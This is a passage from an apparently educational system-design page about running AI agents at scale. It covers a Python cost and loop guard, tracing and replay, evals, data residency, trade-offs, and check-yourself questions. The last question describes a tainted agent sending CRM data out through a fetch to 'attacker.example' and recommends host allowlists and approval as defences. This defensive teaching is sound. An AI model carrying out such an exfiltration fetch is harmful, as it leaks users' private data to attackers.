style=\"color:#24292E;--shiki-dark:#E1E4E8\">.steps, </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.spent, </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.recent </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 0</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, </span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">0.0</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, []</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    def</span><span style=\"color:#6F42C1;--shiki-dark:#B392F0\"> before_model_call</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(self, context_tokens):</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">        worst </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> (context_tokens </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">*</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 3.00</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> +</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.max_out </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">*</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 15.00</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">) </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">/</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 1e6</span><span style=\"color:#6A737D;--shiki-dark:#6A737D\">   # no cache hits</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">        if</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.steps </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">>=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.max_steps </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">or</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.spent </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">+</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> worst </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">></span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.max_usd:</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">            return</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> f</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"stop: next call could cost $</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">{</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">worst</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">:.3f</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">}</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">        self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.steps </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">+=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 1</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">        return</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\"> \"ok\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">    def</span><span style=\"color:#6F42C1;--shiki-dark:#B392F0\"> before_tool_call</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(self, name, args, last_result):</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">        sig </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> hashlib.sha256(json.dumps([name, args, last_result]).encode()).hexdigest()</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">        self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.recent </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> (</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.recent </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">+</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> [sig])[</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">-</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">6</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">:]</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">        n </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> self</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">.recent.count(sig)</span></span>\n<span class=\"line\"><span style=\"color:#D73A49;--shiki-dark:#F97583\">        return</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\"> \"stop: loop\"</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> if</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> n </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">>=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 5</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> else</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\"> \"warn: try another approach\"</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> if</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> n </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">>=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 3</span><span style=\"color:#D73A49;--shiki-dark:#F97583\"> else</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\"> \"ok\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">g </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> RunGuard(</span><span style=\"color:#E36209;--shiki-dark:#FFAB70\">max_usd</span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">1.00</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)</span></span>\n<span class=\"line\"><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">g.spent </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">=</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> 0.70</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">print</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(g.before_model_call(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">80_000</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">))     </span><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># stop: next call could cost $0.301</span></span>\n<span class=\"line\"><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">print</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">([g.before_tool_call(</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"fetch\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">, {</span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"url\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">: </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"/p2\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">}, </span><span style=\"color:#032F62;--shiki-dark:#9ECBFF\">\"HTTP 503\"</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">) </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">for</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\"> _ </span><span style=\"color:#D73A49;--shiki-dark:#F97583\">in</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\"> range</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">(</span><span style=\"color:#005CC5;--shiki-dark:#79B8FF\">5</span><span style=\"color:#24292E;--shiki-dark:#E1E4E8\">)])</span></span>\n<span class=\"line\"><span style=\"color:#6A737D;--shiki-dark:#6A737D\"># ['ok', 'ok', 'warn: try another approach', 'warn: try another approach', 'stop: loop']</span></span></code></pre>\n<p>Above the run, tenants get monthly budgets with alerts at 50%, 80% and 100%, enforced in the gateway (<a href=\"/learn/ai-security#put-limits-at-several-levels\">put limits at several levels</a>).</p>","headings":[{"id":"cost-controls-and-runaway-loops","title":"Cost controls and runaway loops","depth":3}]},{"id":"observability-replay-and-evals","title":"Observability, replay and evals","html":"<h3 id=\"observability-replay-and-evals\">Observability, replay and evals</h3>\n<p>Each run is a trace with a span per model and tool call, with the <a href=\"/learn/ai-evals-and-observability#the-genai-attributes\">GenAI attributes</a>. Dashboards show steps and cost per run at the median and 95th percentile, tool error rates, approval waits and how often each limit stops runs.</p>\n<p>The log makes two tools cheap. <strong>Replay</strong> rebuilds a run from recorded replies and results, with no new calls, showing what the model saw at each step. <strong>Fork</strong> starts a new run from step k with a changed prompt or model, testing a fix against the exact failure.</p>\n<p>Versions are evaluated on <strong>trajectories</strong>, the full sequence of steps: final-state checks in code (does the ticket have exactly one label?), step and cost limits, and repeated trials, since a version that succeeds 90% of the time passes five trials in a row only 0.9⁵ ≈ 59% of the time (<a href=\"/learn/ai-agents#measuring-agents\">measuring agents</a>). A model judge grades sampled runs for policy breaks (<a href=\"/learn/ai-evals-and-observability#running-evals-before-release\">running evals before release</a>).</p>","headings":[{"id":"observability-replay-and-evals","title":"Observability, replay and evals","depth":3}]},{"id":"multi-region-and-data-residency","title":"Multi-region and data residency","html":"<h3 id=\"multi-region-and-data-residency\">Multi-region and data residency</h3>\n<p>Each tenant has a home region holding its agents, logs, sandboxes and vault, and its model calls use endpoints there, so EU data stays in the EU. The run store replicates asynchronously to a standby region in the same jurisdiction. If a region fails, its runs resume there only for tenants that allow it, with in-flight tool calls on the \"outcome unknown\" path.</p>","headings":[{"id":"multi-region-and-data-residency","title":"Multi-region and data residency","depth":3}]},{"id":"trade-offs-to-discuss","title":"Trade-offs to discuss","html":"<h3 id=\"trade-offs-to-discuss\">Trade-offs to discuss</h3>\n<ul>\n<li><strong>Durable engine or custom loop.</strong> Temporal brings tested replay, timers and signals. A custom log is easier to stream and fork, and its correctness is the team's problem.</li>\n<li><strong>Compaction threshold.</strong> Early compaction keeps steps fast and focused and loses detail a later step may need.</li>\n<li><strong>MicroVMs or gVisor.</strong> A hardware boundary for model-written code costs memory and start time. gVisor packs more sandboxes per host behind a thinner boundary.</li>\n<li><strong>Approval friction.</strong> Asking before every write teaches people to click yes. Taint-based approval asks less often and depends on tracking taint correctly.</li>\n<li><strong>Fairness or throughput.</strong> Tenant caps protect everyone else and make a 50,000-run batch take 2.5 hours.</li>\n</ul>","headings":[{"id":"trade-offs-to-discuss","title":"Trade-offs to discuss","depth":3}]},{"id":"check-yourself","title":"Check yourself","html":"<h3 id=\"check-yourself\">Check yourself</h3>\n<details>\n<summary>At peak, research runs start at 13.9 a second and last 8 minutes, and triage runs start at 52.1 a second and last 90 seconds. Which has more runs in flight?</summary>\n<p>Research: 13.9 × 480 ≈ 6,670, against 52.1 × 90 ≈ 4,690 for triage. Research arrives about a quarter as often, and each run lasts 5.3 times as long.</p>\n</details>\n<details>\n<summary>A worker sends `create_invoice` to a customer's MCP server and dies before appending the result. What does the next worker do? What changes if the tool is an HTTP endpoint that honours `Idempotency-Key`?</summary>\n<p>MCP has no standard idempotency field, so the worker records an \"outcome unknown\" error result, and the model can look the invoice up before retrying. For the HTTP endpoint, the worker resends with the same <code>run_id:tool_use_id</code> key and gets the first invoice back.</p>\n</details>\n<details>\n<summary>Compacting sandbox runs at 60,000 tokens cuts cost from $12.87 to $7.29 uncached but only from $2.10 to $1.70 cached. Why the difference, and why compact anyway?</summary>\n<p>With caching the tokens it removes were cheap reads at $0.30 per million, and each compaction adds a summary call and a cache write. It is still worth it because quality and step latency degrade as context grows, and a 100-step run would otherwise pass a 200,000-token window (10,000 + 99 × 2,000 = 208,000).</p>\n</details>\n<details>\n<summary>Approvals average two hours. Why must a paused run not hold its worker and sandbox, and what does resuming cost?</summary>\n<p>About 5,500 runs are paused at once, and their 1,667 sandboxes would idle 2.4 TiB of memory, so the lease is released and the sandbox snapshotted. On resume the prompt cache has expired, so a research run with 43,000 tokens of context pays about $0.16 to rewrite it instead of $0.013 to read it.</p>\n</details>\n<details>\n<summary>A research agent can read the CRM and fetch any URL, and has no email tool. A teammate says it has no exfiltration channel. Is that right?</summary>\n<p>No. A fetch of <code>https://attacker.example/?q=</code> plus CRM data sends the data in the URL, so fetch is the third leg. Once the run is tainted, limit fetch to allowlisted hosts or hosts from earlier search results, and require approval for data-bearing query strings.</p>\n</details>\n<h3 id=\"further-reading\">Further reading</h3>\n<ul>\n<li><a href=\"https://www.anthropic.com/research/building-effective-agents\" target=\"_blank\" rel=\"noopener noreferrer\">Building effective agents</a> (Anthropic, December 19, 2024): workflows versus agents.</li>\n<li><a href=\"https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents\" target=\"_blank\" rel=\"noopener noreferrer\">Effective context engineering</a> and <a href=\"https://www.anthropic.com/engineering/writing-tools-for-agents\" target=\"_blank\" rel=\"noopener noreferrer\">Writing effective tools</a> (Anthropic, 2025): compaction and truncation.</li>\n<li><a href=\"https://arxiv.org/abs/2210.03629\" target=\"_blank\" rel=\"noopener noreferrer\">ReAct</a> (Yao et al., 2022): the reason-and-act loop.</li>\n<li><a href=\"https://modelcontextprotocol.io/specification/latest\" target=\"_blank\" rel=\"noopener noreferrer\">Model Context Protocol specification</a>: tools and security principles.</li>\n<li><a href=\"https://docs.temporal.io/encyclopedia/event-history/event-history-go\" target=\"_blank\" rel=\"noopener noreferrer\">Event History walkthrough with the Go SDK</a> (Temporal): replay from recorded events.</li>\n<li><a href=\"https://firecracker-microvm.github.io/\" target=\"_blank\" rel=\"noopener noreferrer\">Firecracker</a> and its NSDI 2020 paper, <a href=\"https://www.usenix.org/conference/nsdi20/presentation/agache\" target=\"_blank\" rel=\"noopener noreferrer\">Lightweight Virtualization for Serverless Applications</a>: microVM design and overheads.</li>\n<li><a href=\"https://gvisor.dev/docs/\" target=\"_blank\" rel=\"noopener noreferrer\">gVisor documentation</a>: a user-space kernel for sandboxing containers.</li>\n<li><a href=\"https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/\" target=\"_blank\" rel=\"noopener noreferrer\">The lethal trifecta for AI agents</a> (Simon Willison, June 2025)</li>\n<li><a href=\"https://genai.owasp.org/llm-top-10/\" target=\"_blank\" rel=\"noopener noreferrer\">OWASP Top 10 for LLM Applications, 2025</a> and <a href=\"https://genai.owasp.org/llmrisk/llm102025-unbounded-consumption/\" target=\"_blank\" rel=\"noopener noreferrer\">LLM10: Unbounded Consumption</a>: injection, agency, runaway spending.</li>\n<li><a href=\"https://platform.claude.com/docs/en/build-with-claude/prompt-caching\" target=\"_blank\" rel=\"noopener noreferrer\">Prompt caching</a> and <a href=\"https://platform.claude.com/docs/en/build-with-claude/compaction\" target=\"_blank\" rel=\"noopener noreferrer\">Compaction</a> (Claude Platform docs).</li>\n</ul>","headings":[{"id":"check-yourself","title":"Check yourself","depth":3},{"id":"further-reading","title":"Further reading","depth":3}]}]}